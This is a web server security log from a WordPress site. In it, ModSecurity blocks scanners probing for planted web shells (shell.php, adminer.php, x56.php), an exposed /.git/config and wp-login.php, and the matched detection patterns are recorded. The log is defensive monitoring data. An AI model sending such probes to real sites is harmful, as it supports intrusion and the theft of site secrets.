[Sat Feb 28 09:11:55.369337 2026] [:error] [pid 11791:tid 11814] [client 13.71.191.191:23414] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/transaction_history.php"] [unique_id "aaJA22uX5e1Q32gqxH2BhQAAARU"]
[Sat Feb 28 09:11:56.300495 2026] [:error] [pid 39184:tid 39233] [client 13.71.191.191:23296] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/transaction_history.php"] [unique_id "aaJA3FtZF9Zd_U7easCh3wAAAE4"]
[Sat Feb 28 09:11:56.929501 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:23322] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/css/service.php"] [unique_id "aaJA3BVE-FfM89u7BQbQqQAAAJI"]
[Sat Feb 28 09:11:57.641778 2026] [:error] [pid 39184:tid 39228] [client 13.71.191.191:23336] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/css/service.php"] [unique_id "aaJA3VtZF9Zd_U7easCh6QAAAEk"]
[Sat Feb 28 09:11:58.569935 2026] [:error] [pid 22194:tid 22218] [client 13.71.191.191:23373] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/css/service.php"] [unique_id "aaJA3n6mbajs3bzQGyvo-gAAAVY"]
[Sat Feb 28 09:11:59.458974 2026] [:error] [pid 39292:tid 39315] [client 13.71.191.191:23305] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/contao/css/service.php"] [unique_id "aaJA36IAO5fN7BxyqcFrCwAAANU"]
[Sat Feb 28 09:11:59.961926 2026] [:error] [pid 11791:tid 11812] [client 13.71.191.191:23375] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaJA32uX5e1Q32gqxH2BmAAAARM"]
[Sat Feb 28 09:12:00.438217 2026] [:error] [pid 39292:tid 39313] [client 13.71.191.191:23302] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaJA4KIAO5fN7BxyqcFrFgAAANM"]
[Sat Feb 28 09:12:01.033784 2026] [:error] [pid 11791:tid 11815] [client 13.71.191.191:23478] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaJA4WuX5e1Q32gqxH2BmwAAARY"]
[Sat Feb 28 09:12:01.635188 2026] [:error] [pid 39185:tid 39260] [client 13.71.191.191:23325] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aaJA4RVE-FfM89u7BQbQxgAAAI4"]
[Sat Feb 28 09:12:02.097972 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:23335] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaJA4hVE-FfM89u7BQbQzQAAAJI"]
[Sat Feb 28 09:12:02.685621 2026] [:error] [pid 22194:tid 22201] [client 13.71.191.191:23370] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaJA4n6mbajs3bzQGyvpEgAAAUU"]
[Sat Feb 28 09:12:03.146657 2026] [:error] [pid 39183:tid 39214] [client 13.71.191.191:23403] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaJA4xCf4HvhVePw3La79QAAABY"]
[Sat Feb 28 09:12:03.677232 2026] [:error] [pid 39185:tid 39262] [client 13.71.191.191:23303] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqbayyrz.php/text.php/shell.php"] [unique_id "aaJA4xVE-FfM89u7BQbQ3QAAAJA"]
[Sat Feb 28 09:12:04.322573 2026] [:error] [pid 39185:tid 39253] [client 13.71.191.191:23396] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/input.php"] [unique_id "aaJA5BVE-FfM89u7BQbQ4wAAAIc"]
[Sat Feb 28 09:12:04.861344 2026] [:error] [pid 22194:tid 22212] [client 13.71.191.191:23316] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/uploads__.php"] [unique_id "aaJA5H6mbajs3bzQGyvpHAAAAVA"]
[Sat Feb 28 09:12:05.505859 2026] [:error] [pid 22194:tid 22199] [client 13.71.191.191:23424] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/uploads__.php"] [unique_id "aaJA5X6mbajs3bzQGyvpJQAAAUM"]
[Sat Feb 28 09:15:08.514536 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:23497] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aaJBnGuX5e1Q32gqxH2JPAAAARc"]
[Sat Feb 28 09:15:09.757938 2026] [:error] [pid 39183:tid 39194] [client 13.71.191.191:23503] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aaJBnRCf4HvhVePw3La9gQAAAAI"]
[Sat Feb 28 09:15:11.036512 2026] [:error] [pid 11791:tid 11815] [client 13.71.191.191:23521] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aaJBn2uX5e1Q32gqxH2JXAAAARY"]
[Sat Feb 28 09:15:12.058823 2026] [:error] [pid 22194:tid 22218] [client 13.71.191.191:23429] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aaJBoH6mbajs3bzQGyvuRwAAAVY"]
[Sat Feb 28 09:15:12.639751 2026] [:error] [pid 22194:tid 22207] [client 13.71.191.191:23526] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaJBoH6mbajs3bzQGyvuSgAAAUs"]
[Sat Feb 28 09:15:13.275133 2026] [:error] [pid 22194:tid 22208] [client 13.71.191.191:23534] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaJBoX6mbajs3bzQGyvuUQAAAUw"]
[Sat Feb 28 09:15:14.331297 2026] [:error] [pid 39185:tid 39266] [client 13.71.191.191:23452] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaJBohVE-FfM89u7BQbUAAAAAJQ"]
[Sat Feb 28 09:15:14.790744 2026] [:error] [pid 39184:tid 39222] [client 13.71.191.191:23496] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/three-column-screen-layout/db.php"] [unique_id "aaJBoltZF9Zd_U7easCj7gAAAEM"]
[Sat Feb 28 09:15:15.310024 2026] [:error] [pid 11791:tid 11799] [client 13.71.191.191:23442] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "aaJBo2uX5e1Q32gqxH2JhAAAAQY"]
[Sat Feb 28 09:15:15.757562 2026] [:error] [pid 39184:tid 39231] [client 13.71.191.191:23365] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "aaJBo1tZF9Zd_U7easCj9AAAAEw"]
[Sat Feb 28 09:15:16.360182 2026] [:error] [pid 39183:tid 39202] [client 13.71.191.191:23432] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "aaJBpBCf4HvhVePw3La9nAAAAAo"]
[Sat Feb 28 09:15:17.062817 2026] [:error] [pid 11791:tid 11814] [client 13.71.191.191:23530] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cms.php"] [unique_id "aaJBpWuX5e1Q32gqxH2JkQAAARU"]
[Sat Feb 28 09:15:17.584005 2026] [:error] [pid 39183:tid 39203] [client 13.71.191.191:23503] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aaJBpRCf4HvhVePw3La9pQAAAAs"]
[Sat Feb 28 09:15:18.419765 2026] [:error] [pid 22194:tid 22216] [client 13.71.191.191:23422] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aaJBpn6mbajs3bzQGyvuawAAAVQ"]
[Sat Feb 28 09:15:18.884029 2026] [:error] [pid 39292:tid 39296] [client 13.71.191.191:23458] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aaJBpqIAO5fN7BxyqcFwMQAAAMI"]
[Sat Feb 28 09:15:19.359563 2026] [:error] [pid 11791:tid 11811] [client 13.71.191.191:23300] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer.php"] [unique_id "aaJBp2uX5e1Q32gqxH2JpAAAARI"]
[Sat Feb 28 09:15:19.987887 2026] [:error] [pid 39292:tid 39311] [client 13.71.191.191:23524] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/duck.php"] [unique_id "aaJBp6IAO5fN7BxyqcFwNgAAANE"]
[Sat Feb 28 09:15:20.606788 2026] [:error] [pid 39184:tid 39234] [client 13.71.191.191:23367] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/duck.php"] [unique_id "aaJBqFtZF9Zd_U7easCkDQAAAE8"]
[Sat Feb 28 09:15:21.121395 2026] [:error] [pid 39184:tid 39240] [client 13.71.191.191:23544] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/duck.php"] [unique_id "aaJBqVtZF9Zd_U7easCkDwAAAFU"]
[Sat Feb 28 09:15:22.951098 2026] [:error] [pid 22194:tid 22200] [client 13.71.191.191:23537] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/duck.php"] [unique_id "aaJBqn6mbajs3bzQGyvujgAAAUQ"]
[Sat Feb 28 09:15:24.224635 2026] [:error] [pid 22194:tid 22200] [client 13.71.191.191:23439] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aaJBrH6mbajs3bzQGyvumwAAAUQ"]
[Sat Feb 28 09:15:28.748354 2026] [:error] [pid 11791:tid 11801] [client 13.71.191.191:23525] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aaJBsGuX5e1Q32gqxH2J7gAAAQg"]
[Sat Feb 28 09:15:29.785142 2026] [:error] [pid 11791:tid 11800] [client 13.71.191.191:23512] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aaJBsWuX5e1Q32gqxH2J9wAAAQc"]
[Sat Feb 28 09:15:30.900565 2026] [:error] [pid 39292:tid 39296] [client 13.71.191.191:23366] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/contact.php"] [unique_id "aaJBsqIAO5fN7BxyqcFwTgAAAMI"]
[Sat Feb 28 09:15:31.440723 2026] [:error] [pid 39184:tid 39232] [client 13.71.191.191:23515] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqbayyrz.php"] [unique_id "aaJBs1tZF9Zd_U7easCkIAAAAE0"]
[Sat Feb 28 09:15:31.930258 2026] [:error] [pid 39185:tid 39246] [client 13.71.191.191:23349] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqbayyrz.php"] [unique_id "aaJBsxVE-FfM89u7BQbUYwAAAIA"]
[Sat Feb 28 09:15:32.608689 2026] [:error] [pid 22194:tid 22216] [client 13.71.191.191:23446] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqbayyrz.php"] [unique_id "aaJBtH6mbajs3bzQGyvu2QAAAVQ"]
[Sat Feb 28 09:15:33.159731 2026] [:error] [pid 22194:tid 22197] [client 13.71.191.191:23428] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqbayyrz.php"] [unique_id "aaJBtX6mbajs3bzQGyvu3gAAAUE"]
[Sat Feb 28 09:29:41.200609 2026] [:error] [pid 39185:tid 39255] [client 147.182.200.95:42482] [client 147.182.200.95] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.200.95, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaJFBRVE-FfM89u7BQboHwAAAIk"]
[Sat Feb 28 09:49:33.447720 2026] [:error] [pid 39185:tid 39265] [client 78.88.230.100:56766] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 78.88.230.100, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaJJrRVE-FfM89u7BQYDXwAAAJM"]
[Sat Feb 28 10:27:10.793650 2026] [:error] [pid 39185:tid 39264] [client 66.235.175.246:55722] [client 66.235.175.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.235.175.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaJSfhVE-FfM89u7BQYzPAAAAJI"]
[Sat Feb 28 10:28:23.852997 2026] [:error] [pid 11791:tid 11814] [client 20.216.189.83:1408] [client 20.216.189.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.216.189.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaJSx2uX5e1Q32gqxH3B8gAAARU"]
[Sat Feb 28 10:57:59.234100 2026] [:error] [pid 52460:tid 52487] [client 85.11.167.108:62080] [client 85.11.167.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.11.167.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaJZt7LWOogAgHGh62SqjwAAAZg"]
[Sat Feb 28 11:04:38.745708 2026] [:error] [pid 52460:tid 52474] [client 162.62.213.187:36240] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaJbRrLWOogAgHGh62SysAAAAYs"]
[Sat Feb 28 11:26:09.530096 2026] [:error] [pid 39183:tid 39197] [client 195.178.110.108:45752] [client 195.178.110.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aaJgURCf4HvhVePw3LbX5wAAAAU"]
[Sat Feb 28 11:35:37.755028 2026] [autoindex:error] [pid 39185:tid 39263] [client 20.104.82.189:6209] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 28 11:36:22.604955 2026] [:error] [pid 39185:tid 39248] [client 20.104.82.189:6157] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaJithVE-FfM89u7BQZ5WwAAAII"]
[Sat Feb 28 11:36:23.026350 2026] [:error] [pid 52460:tid 52485] [client 20.104.82.189:6198] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aaJit7LWOogAgHGh62TbOQAAAZY"]
